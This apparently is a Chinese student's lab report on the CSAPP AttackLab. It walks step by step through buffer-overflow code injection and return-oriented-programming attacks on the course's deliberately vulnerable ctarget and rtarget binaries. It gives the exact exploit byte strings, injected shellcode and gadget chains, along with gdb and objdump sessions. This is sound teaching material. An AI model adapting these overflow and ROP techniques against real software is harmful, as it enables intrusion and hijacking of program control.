当前位置:   article > 正文

AttackLab实验记录

attacklab

参考

CSAPP - AttackLab

一、实验目的

  • 基于代码注入和面向返回的编程来利用程序漏洞,改变这程序的行为。
  • 了解栈的规则,同时理解程序中如果含有容易遭受缓冲区溢出攻击的代码的严重性和危险性。

二、报告要求

本报告要求学生写出实验中攻击的过程和原理.

三、实验说明

以下均摘自attacklab实验的实验说明文档

文件说明

csapp-attacklab目录下包含如下文件:

  • README.txt:描述本目录内容的文件。
  • ctarget:一个容易遭受code-injection攻击的可执行程序。
  • rtarget:一个容易遭受return-oriented-programming攻击的可执行程序。
  • cookie.txt:一个8位的十六进制码,在后面解题会用到.
  • farm.c:你的目标“gadget farm”的源代码,在产生return-oriented programming攻击时会用到。
  • hex2raw:一个生成攻击字符串的工具。
hex2raw使用
  • hex2raw 的输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值。例如,字符串“012345”,必须输入“30 31 32 33 34 35 00”。十六进制字符之间以空白符(空格或新行)分隔。
  • hex2raw 要求输入的十六进制值必须是两位的,值与值之间以一个或多个空白分隔。如果你想得到一个十六进制值为0的字节,必须输入00。要得到字0xdeadbeef,必须向hex2raw输入“ef be ad de”(注意顺序相反是因为使用的是小端法字节序)。
  • 攻击字符串不能包含字节值0x0a,这是换行符(’\n’)的ASCII代码。Gets遇到这个字节时会认为你意在结束该字符串。

可以把攻击字符串存入文件中,例如exploit.txt,以下列几种方式调用:

用一系列管道(pipe)通过hex2raw传递字符串。

unix> cat exploit.txt | ./hex2raw | ./ctarget
  • 1

将raw字符串存在文件中,使用I/O重定向。

unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> ./ctarget < exploit-raw.txt
  • 1
  • 2

这种方法也可以在gdb中使用,如下:

unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> gdb ctarget
(gdb) run < exploit-raw.txt
  • 1
  • 2
  • 3

更多细节请自行查看实验说明文档

生成字节代码

假设编写一个汇编文件example.s,代码如下:

# Example of hand-generated assembly code
pushq   $0xabcdef             # Push value onto stack
addq    $17,%rax              # Add 17 to %rax
movl    %eax,%edx             # Copy lower 32 bits to %edx
  • 1
  • 2
  • 3
  • 4

可以汇编和反汇编文件:

unix> gcc -c example.s&#8232;
unix> objdump -d example.o > example.d
  • 1
  • 2

生成的example.d包含如下内容:

example.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0: 68 ef cd ab 00             pushq  $0xabcdef
   5: 48 83 c0 11                add    $0x11,%rax
   9: 89 c2                      mov    %eax,%edx
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

由此可以推出这段代码的字节序列:

68 ef cd ab 00 48 83 c0 11 89 c2
  • 1

可以通过hex2raw生成目标程序的输入字符串。也可以手动修改example.d的代码,得到下面的内容:

   68 ef cd ab 00   /* pushq  $0xabcdef  */
   48 83 c0 11     /* add    $0x11,%rax */
   89 c2          /* mov    %eax,%edx  */
  • 1
  • 2
  • 3

这也是合法的hex2raw的输入。

指令的字节编码

ROP攻击时寻找和选取工具代码时需要参考这四个表格:
在这里插入图片描述
表D中的2字节指令,它们可以作为有功能的nop,不改变任何寄存器或内存的值。
另:

  • ret:该指令编码为0xc3。
  • nop(空操作):该指令编码为0x90

四、实验过程

Part1–代码注入攻击

第一关

攻击内容:
要求注入代码使得ctarget执行test函数时,在调用getbuf函数完成后并不返回至test函数中的下一语句继续执行,而是跳转执行touch1

攻击思路:
找到touch1的起始地址的字节表示的位置,使得getbuf结尾处的ret指令会将控制转移到touch1

具体过程:
反汇编查看touch1

(gdb) disas touch1
Dump of assembler code for function touch1:
   0x0000000000401695 <+0>:	sub    $0x8,%rsp
   0x0000000000401699 <+4>:	movl   $0x1,0x202e59(%rip)        # 0x6044fc <vlevel>
   0x00000000004016a3 <+14>:	mov    $0x402d87,%edi
   0x00000000004016a8 <+19>:	callq  0x400be0 <puts@plt>
   0x00000000004016ad <+24>:	mov    $0x1,%edi
   0x00000000004016b2 <+29>:	callq  0x401a9f <validate>
   0x00000000004016b7 <+34>:	mov    $0x0,%edi
   0x00000000004016bc <+39>:	callq  0x400d30 <exit@plt>
End of assembler dump.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

得到touch1起始地址为0x0000000000401695
查看getbuf反汇编代码,以确定缓冲区大小BUFFERSIZE

(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x000000000040167f <+0>:	sub    $0x18,%rsp
   0x0000000000401683 <+4>:	mov    %rsp,%rdi
   0x0000000000401686 <+7>:	callq  0x4018e4 <Gets>
   0x000000000040168b <+12>:	mov    $0x1,%eax
   0x0000000000401690 <+17>:	add    $0x18,%rsp
   0x0000000000401694 <+21>:	retq   
End of assembler dump.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

根据getbuf函数执行开始栈指针地址值减0x18知,BUFFERSIZE=24
因此我们只要输入24字节字符的填充再加上touch1起始地址即可覆盖原返回地址,使getbuf完成后跳转至touch1处执行。
此处由于使用的是小端模式(见实验文档要点说明),对于touch1的起始地址要逆字节顺序输入。

输入文件:
ctarget.l1可为:

30 31 32 33 34 35 36 37
30 31 32 33 34 35 36 37
30 31 32 33 34 35 36 37
95 16 40 00 00 00 00 00 
  • 1
  • 2
  • 3
  • 4

第二关

攻击内容:
使ctarget执行touch2的代码而不是返回到test,让touch2以为它收到的参数是我的cookie

攻击思路:
在注入内容中添加程序可执行代码使得将寄存touch2参数的寄存器rdi中的值为我的cookie,然后利用ret指令控制转移到touch2的第一条指令。
为了使程序跳转执行注入代码,我们需要获取注入代码的位置,即getbuf读入字符串时栈顶指针,使得在getbuf执行结束后跳转至注入代码处。
因此可以确定最终注入代码形式为代码 + padding + 栈顶指针地址

具体过程:
首先我们获取正确的cookie
在运行ctarget时,程序就打印了cookie0x3d9549ca,我们不妨通过gdb验证一下。(后来发现有个文件cookie.txt专门存放cookie,显然不需要多此一举去查看内存,不过既然已经这么做了我就还是保留在报告里了。)
touch2处设置断点查看%rdi:

(gdb) break touch2
Breakpoint 1 at 0x4016c1: file visible.c, line 40.
(gdb) r < ctarget.l2
Starting program: /headless/Desktop/csapp-attacklab/ctarget < ctarget.l2
Cookie: 0x3d9549ca

Breakpoint 1, touch2 (val=1033193930) at visible.c:40
40	visible.c: No such file or directory.
(gdb) p $rdi
$1 = 1033193930
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

1033193930转换为16进制表示就是0x3d9549ca

通过反汇编touch2(以下仅展示第一行反汇编结果):

(gdb) disas touch2
Dump of assembler code for function touch2:
   0x00000000004016c1 <+0>:	sub    $0x8,%rsp
  • 1
  • 2
  • 3

得到touch2起始地址为0x00000000004016c1

因此我们可以编写出注入代码应该为

mov    $0x3d9549ca,%rdi    /*修改寄存器`%rdi`的值为`cookie`*/
pushq  $0x4016c1           /*将`touch2`起始地址推入栈,使得执行`retq`指令后跳转执行`touch2`*/
retq
  • 1
  • 2
  • 3

汇编得到:

48 c7 c7 ca 49 95 3d
68 c1 16 40 00
c3
  • 1
  • 2
  • 3

所以这段代码的字节序列为48 c7 c7 ca 49 95 3d 68 c1 16 40 00 c3
(关于字节代码的生成如果有问题,具体可以查看实验说明生成字节代码部分)

接下来我们只要找到注入代码的起始位置,覆盖原返回地址即可。
getbuf设置断点,查看%rsp的值:

Breakpoint 1, getbuf () at buf.c:12
12	buf.c: No such file or directory.
(gdb) p $rsp
$1 = (void *) 0x55654cb0
(gdb) step
14	in buf.c
(gdb) p $rsp
$2 = (void *) 0x55654c98
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

得到地址值为0x55654c98

将 攻击代码 填充至24字节,再与攻击代码地址连接即可得到注入内容。
输入文件:
ctarget.l2文件可为:

48 c7 c7 ca 49 95 3d 68
c1 16 40 00 c3 31 32 33
31 32 33 34 35 36 37 38
98 4c 65 55 00 00 00 00
  • 1
  • 2
  • 3
  • 4

第三关

攻击内容:
使ctarget执行touch3而不要返回到test。要使touch3以为我传递我的cookie的字符串表示作为它的参数。

攻击思路:
攻击思路与第二关类似,只是此次传给touch3的参数不是cookie而是cookie的字符串表示的首地址,因此我们还要找到一个地方用于存放cookie的字符串。考虑到后续touch3的执行可能会覆盖getbuf使用的缓冲区内存,我们还需要谨慎放置cookie的字符串表示。

具体过程:
首先使用字符串表示出cookie = 0x3d9549ca,根据实验文档提示(这个字符串由8个十六进制数字组成(顺序是从最高位到最低位),开头没有“0x”)知,也即为字符串"3d9549ca"
对照ASCII表,可以得到它的字节表示为:33 64 39 35 34 39 63 61 00。(C中的字符串表示是一个字节序列,最后跟一个值为0的字节)

接下来我们需要确定寻找不会在后续运行中被覆盖的位置,并将字符串存放在那。

其实这里我们可以很快地想到栈中存放返回地址的更高地址处,那里不会被touch3运行时以及其内部调用其他函数后进行的入栈操作覆盖。
但此处我们还是来仔细查看一下为什么getbuf缓冲区最终会被覆盖。
通过反汇编touch3我们可以看到touch3最初进行了一次入栈操作(此处仅展示该行代码):

(gdb) disas touch3
Dump of assembler code for function touch3:
   0x00000000004017ad <+0>:	push   %rbx
  • 1
  • 2
  • 3

touch3中还调用了hexmatch函数,在调用函数之前也会进行一次入栈操作(压入返回地址),此外hexmatch最初也进行了3次入栈操作:

(gdb) disas hexmatch
Dump of assembler code for function hexmatch:
   0x0000000000401721 <+0>:	push   %r12
   0x0000000000401723 <+2>:	push   %rbp
   0x0000000000401724 <+3>:	push   %rbx
  • 1
  • 2
  • 3
  • 4
  • 5

使用gdb调试ctarget,仔细查看被覆盖区域。
首先在touch3hexmatch处均设置断点:

(gdb) b touch3
Breakpoint 1 at 0x4017ad: file visible.c, line 71.
(gdb) b hexmatch
Breakpoint 2 at 0x401721: file visible.c, line 62.
(gdb) r < exploit-raw.txt
  • 1
  • 2
  • 3
  • 4
  • 5

运行至touch3入口处,查看栈指针和内存如下:

Breakpoint 1, touch3 (sval=0x55654ca7 "3d9549ca") at visible.c:71
71	visible.c: No such file or directory.
(gdb) p $rsp
$1 = (void *) 0x55654cb8
(gdb) x /8gx 0x55654c98
0x55654c98:	0x6855654ca7c7c748	0x333130c3004017ad
0x55654ca8:	0x0061633934353964	0x00000000004017ad
0x55654cb8:	0x0000000000000000	0x0000000000401d12
0x55654cc8:	0x0000000000000000	0xf4f4f4f4f4f4f4f4
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

0x55654c98处起24个字节为getbuf缓冲区范围(前一行半),第二行后半段为getbuf函数返回地址存放位置(0x55654cb0起8个字节)。此时栈指针指向的为第三排开始处。
继续运行,如下:

(gdb) step
72	in visible.c
(gdb) p $rsp
$2 = (void *) 0x55654cb0
(gdb) x /8gx 0x55654c98
0x55654c98:	0x6855654ca7c7c748	0x333130c3004017ad
0x55654ca8:	0x0061633934353964	0x0000000055586000
0x55654cb8:	0x0000000000000000	0x0000000000401d12
0x55654cc8:	0x0000000000000000	0xf4f4f4f4f4f4f4f4
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

touch3%rbx压入栈,因此栈指针下移8个字节,0x55654cb0起8个字节被覆盖。

继续运行至touch3调用hexmatch

(gdb) c
Continuing.

Breakpoint 2, hexmatch (val=1033193930, sval=sval@entry=0x55654ca7 "3\311\027@") at visible.c:62
62	in visible.c
(gdb) p $rsp
$3 = (void *) 0x55654ca8
(gdb) x /8gx 0x55654c98
0x55654c98:	0x6855654ca7c7c748	0x333130c3004017ad
0x55654ca8:	0x00000000004017c9	0x0000000055586000
0x55654cb8:	0x0000000000000000	0x0000000000401d12
0x55654cc8:	0x0000000000000000	0xf4f4f4f4f4f4f4f4
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

可以看到栈指针下移8个字节,压入返回地址,0x55654ca8起8个字节被覆盖。

继续运行,如下:

(gdb) step
65	in visible.c
(gdb) p $rsp
$4 = (void *) 0x55654c20
(gdb) x /8gx 0x55654c98
0x55654c98:	0x0000000055685fe8	0x0000000000000001
0x55654ca8:	0x00000000004017c9	0x0000000055586000
0x55654cb8:	0x0000000000000000	0x0000000000401d12
0x55654cc8:	0x0000000000000000	0xf4f4f4f4f4f4f4f4
(gdb) step
__random () at random.c:288
288	random.c: No such file or directory.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

栈指针大幅下移,一方面将一些数据压入栈(3个),所以自0x55654c98起后16个字节以及前8个字节均被覆盖,且更低处的缓冲区将用于后续函数运行。

以上我们可以非常清晰地看到getbuf的缓冲区以及紧挨其上的用于存储器返回地址的8个字节均被覆盖,而更低处的地址用于作为后续函数运行使用的缓冲区,更上方的地址则不会被覆盖。因此我们可以将cookie的字符串表示存储在这个不会被覆盖的区域,即自0x55654cb8开始的区域。也即在构造好的24+8=32个字节的输入代码后再加上一行cookie的字符串表示的字节代码即可。

接下来,我们按照第二关的思路构造攻击代码即可。
我们已将得到cookie的字符串表示的字节代码可存放位置,现在只要拿到touch3起始地址即可构造攻击代码。
通过反汇编touch3(以下仅展示第一行反汇编结果):

(gdb) disas touch3
Dump of assembler code for function touch3:
   0x00000000004017ad <+0>:	push   %rbx
  • 1
  • 2
  • 3

得到touch3起始地址为0x00000000004017ad
可以构造攻击代码如下:

mov    $0x55654cb8, %rdi      /*将%rdi的值修改为存放`cookie`的字符串表示的首地址*/
pushq  $0x4017ad              /*将`touch3`起始地址压入栈*/
retq                          
  • 1
  • 2
  • 3

汇编得到字节代码为48 c7 c7 b8 4c 65 55 68 ad 17 40 00 c3
最终将 攻击代码填充至24字节拼接上getbuf缓冲区起始地址和cookie的字符串表示即可得到输入文件。
输入文件:
ctarget.l3可以为:

48 c7 c7 b8 4c 65 55 68
ad 17 40 00 c3 30 31 32
31 32 33 34 35 36 37 38
98 4c 65 55 00 00 00 00
33 64 39 35 34 39 63 61 00
  • 1
  • 2
  • 3
  • 4
  • 5

Part2–面向返回的编程

对于面向返回的编程,我们需要做一些准备工作,由于攻击需要用到已有函数的代码,我们需要拿到gadget的反汇编代码。对于这个,ctarget中一定包含了,我们只需要反汇编整个ctarget整个文件,然后从中找到gadget段即可(从farm_start到farm_end)。(不建议直接对farm.c编译后反汇编,得到的汇编结果有所出入,事实上就我实际体验而言,这会对寻找目标工具代码造成障碍,而且实际使用工具代码时还需要拿到该代码在rtarget中运行时的位置,因此还是需要在rtarget中反汇编。)

小tips:拿到gadget的反汇编代码后,放到文件阅读工具中阅读(比如随便粘贴到一个md文件然后用VScode打开),然后使用查找功能(ctrl+F)能够更高效率地检索到目标工具代码哦

第一关

攻击内容:
要求与Part1中第二关一致,只是目标程序rtarget采用了栈随机化并将栈的内存区域设置为不可执行,不能再采用代码注入技术攻击,要求使用面向返回的编程实现该攻击。

攻击思路:
与第二关一致,但是现在我们需要使用工具代码实现。由于gadget中没有一致的mov指令可以把我们想要的立即数放到%rdi中,我们联系实验文档的提示,可以间接通过pop指令弹出栈中数据到寄存器然后利用gadget中的寄存器与寄存器间的mov指令最终实现将目标立即数放入%rdi中的操作。

具体过程:
根据思路我们先查找可用工具代码。

首先查找可用的pop指令,查表知pop 寄存器的指令代码为58~5f,查找gadget反汇编文件,发现在gadget只含有58指令,即pop%rax中,其中可供使用的如下:

000000000040185f <setval_219>:
  40185f:       c7 07 98 d2 58 c3       movl   $0xc358d298,(%rdi)
  401865:       c3                      retq
  • 1
  • 2
  • 3
0000000000401873 <addval_385>:
  401873:       8d 87 00 58 90 c3       lea    -0x3c6fa800(%rdi),%eax
  401879:       c3                      retq
  • 1
  • 2
  • 3

其中58之后的c3retq90nop(空操作),均不造成影响。此处我选取setval_219中的可用代码作为我的第一个工具代码,实现pop %rax; retq的操作。该工具代码的地址为0x0000000000401863

根据第一个工具代码,我们下一个应该查找能完成mov %rax %rdi操作的工具代码。

查表知mov %rax %rdi指令的代码表示为48 89 7c,查找发现有两个满足条件且可供使用的代码:

0000000000401858 <setval_422>:
  401858:       c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  40185e:       c3                      retq
  • 1
  • 2
  • 3
0000000000401866 <setval_246>:
  401866:       c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  40186c:       c3                      retq

  • 1
  • 2
  • 3
  • 4

我选择使用第一个作为我的工具代码,则它的地址为0x000000000040185a(第二个则为0x0000000000401868)。

输入文件:
最终我们的输入文件,应该使第一个工具代码的地址覆盖getbuf的原返回地址,并在紧接其后的位置输入cookie使得执行pop操作时能够成功将cookie保存到%rax,然后接上第二个工具代码的地址,使得第一个工具代码返回后跳转到第二个工具代码处实现mov %rax %rdi操作,然后再紧接上touch2起始地址,使得第二个工具代码执行完成后跳转执行touch2(与第二关相同,也可以在gdb中通过disas查看)。同样,我们拼接的时候要注意字节的顺序。
因此rtarget.l2可以为:

31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
63 18 40 00 00 00 00 00
ca 49 95 3d 00 00 00 00
5a 18 40 00 00 00 00 00
c1 16 40 00 00 00 00 00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

第二关

攻击内容:
要求与Part1中第三关一致,可以使用的工具代码扩展到gadget中所有指令。

攻击思路:
与第三关一致,但是由于栈地址随机化,我们不能直接把字符串地址赋给%rdi。但是确定我们的字符串在缓冲区的位置后,相对位置是不改变的。我们可以通过获得栈指针地址加上一定偏移量得到字符串地址。

具体过程:
在上述思路中,为了获得最终字符串地址我们一定需要进行一个栈指针地址与偏移量的加减计算,从这个切入点入手,我们尝试寻找farm.c中是否可供利用的代码。
有一个比较明显的函数add_xy,他的反汇编结果如下:

0000000000401887 <add_xy>:
  401887:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  40188b:       c3                      retq
  • 1
  • 2
  • 3

事实上,在整个文件中也仅有这部分代码是实现两个寄存器中内容的加法的操作(而且也只执行加法操作)(其他有关代码一般都是对寄存器和立即数的操作,不便于使用)。并且最终计算结果存放在%rax,通过上一关我们已经找到实现mov %rax %rdi的工具代码,说明这不影响我们后续的参数传递,因此我们可以使用这段作为实现地址计算的工具代码。

据此,我们需要利用寄存器%rdi%rsi存放我们的栈指针地址和地址偏移量。

要获取栈指针地址我们显然需要能够实现转移%rsp至其他寄存器的功能的代码,根据表C,我们在gadget中查询48 89 e0~48 89 e7的代码,发现只有48 89 e0,即%rsp->%rax的路径(实际上如果搜索范围扩大至89 e0~89 e7,还是只存在这条路径)。

另外,偏移量是通过pop出栈入到%rax后再转移,因此不管我们如何分别使用%rdi%rsi存储地址和偏移量,最终都要实现%rax->%rdi%rax->%rsi(也可能不需要这么多位)的转移操作。

前者不必多说,后者通过farm.c中的代码实现的路径仅有%eax->%ecx->%edx->%esi
下面简述一下查找过程:
以目标为导向,所以我们倒着找,寻找gadget中可以转移到%esi的寄存器(因为64位寄存器间的转移代码比32位多一个字节,限制更多,所以查32位的,到时候查看前面有没有48就知道能不能转移64位了),找到后继续顺着这个思路往前查找直到找到%eax->%esi的通路(事实上,整个过程,每次只能查到唯一满足条件的寄存器,不用担心路径太多)。

我们可以发现到最终我们只能使用到%rsi的低32位,高32位会在转移过程中被清零。因此采取保险操作(保证地址高位信息不会丢失),%rsi应当存储偏移量,%rdi存储地址信息。(事实上,gdb调试,发现地址总是超出32位的)

假设地址偏移量已经确定,我们可以明确我们需要实现以下操作:

  • 获得栈指针,存入%rdi,转移路径为%rsp->%rax->%rdi
  • 拿到偏移量(偏移量事先入栈,通过pop %rax传入寄存器),最终存入%rsi,路径为%eax->%ecx->%edx->%esi
  • 通过add_xylea (%rdi,%rsi,1),%rax)计算字符串地址。
  • 将字符串地址存入寄存器%rdi中之后跳转至touch3,转移路径为%rax->%rdi

对于输入文件,我们可以组织为填充 + (工具代码)地址 + 字符串的形式。
不难看出偏移量需要预先存储在紧接工具代码pop %rax地址之后的位置中,而我们获取栈顶指针时,getbuf函数返回,栈指针上移至第一个返回地址之后(即第二个工具代码地址存放处),从此处起一直到最终字符串中间跨越 7个工具代码地址 + 1个数据(偏移量,用8个字节存放)+ 1个函数起始地址(touch3),所以可以计算偏移量为 9*8=72= 0x48

以下为我使用的工具代码:
地址:0x40181c,功能:movq %rsp %rax

0000000000401919 <setval_232>:
  401919:       c7 07 c8 48 89 e0       movl   $0xe08948c8,(%rdi)
  40191f:       c3                      retq
  • 1
  • 2
  • 3

地址:0x40185a,功能:movq %rax %rdi

0000000000401858 <setval_422>:
  401858:       c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  40185e:       c3                      retq
  • 1
  • 2
  • 3

地址:0x401863,功能:pop %rax

000000000040185f <setval_219>:
  40185f:       c7 07 98 d2 58 c3       movl   $0xc358d298,(%rdi)
  401865:       c3                      retq
  • 1
  • 2
  • 3

这中间放偏移量;
地址:0x4018b0,功能:movl %eax %ecx
注意,虽然89 c1c3之间夹了两个字节代码08 db,但是据表D可知可将其当做有功能的nop,不改变寄存器或内存的值,不影响功能的实现,之后使用的工具代码也类似的nop。

00000000004018ae <setval_231>:
  4018ae:       c7 07 89 c1 08 db       movl   $0xdb08c189,(%rdi)
  4018b4:       c3                      retq
  • 1
  • 2
  • 3

地址:0x4018a3,功能:movl %ecx %edx

00000000004018a1 <addval_245>:
  4018a1:       8d 87 89 ca 20 c0       lea    -0x3fdf3577(%rdi),%eax
  4018a7:       c3                      retq
  • 1
  • 2
  • 3

地址:0x4018ca,功能:movl %edx %esi

00000000004018c9 <getval_301>:
  4018c9:       b8 89 d6 20 d2          mov    $0xd220d689,%eax
  4018ce:       c3                      retq
  • 1
  • 2
  • 3

地址:0x401887,功能:lea (%rdi,%rsi,1),%rax

0000000000401887 <add_xy>:
  401887:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  40188b:       c3                      retq                     retq
  • 1
  • 2
  • 3

地址:0x40185a,功能:movq %rax %rdi

0000000000401858 <setval_422>:
  401858:       c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  40185e:       c3                      retq
  • 1
  • 2
  • 3

这之后放入touch3地址:0x4017ad
以上所选工具代码部分还有其他选择,可以自行选取。

输入文件:
rtarget.l3可为(注意字节顺序):

31 32 33 34 35 36 37 38       /*填充*/
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38       
1c 19 40 00 00 00 00 00       /*工具代码地址*/
5a 18 40 00 00 00 00 00
63 18 40 00 00 00 00 00
48 00 00 00 00 00 00 00       /*偏移量*/
b0 18 40 00 00 00 00 00
a3 18 40 00 00 00 00 00
ca 18 40 00 00 00 00 00
87 18 40 00 00 00 00 00
5a 18 40 00 00 00 00 00
ad 17 40 00 00 00 00 00       /*touch3首地址*/
33 64 39 35 34 39 63 61 00    /*字符串*/
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

五、实验总结

经过这个实验,我更加深刻地理解了程序中如果含有容易遭受缓冲区溢出攻击的代码的严重性和危险性,深刻认识到安全编程的重要性,今后在编程中我将更加规范地编程,不使用不安全的函数和代码,注意检查程序中存在的漏洞。
同时,经过此次实验我对栈中的存储组织形式还有栈的规则,以及一些针对缓冲区溢出攻击设计的安全保护措施有了更为切实的理解和体验,对于代码注入和面向返回的编程的两种攻击方式的原理和实践在实际操作中也得到了巩固和加强。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/代码探险家/article/detail/827884
推荐阅读
相关标签
  

闽ICP备14008679号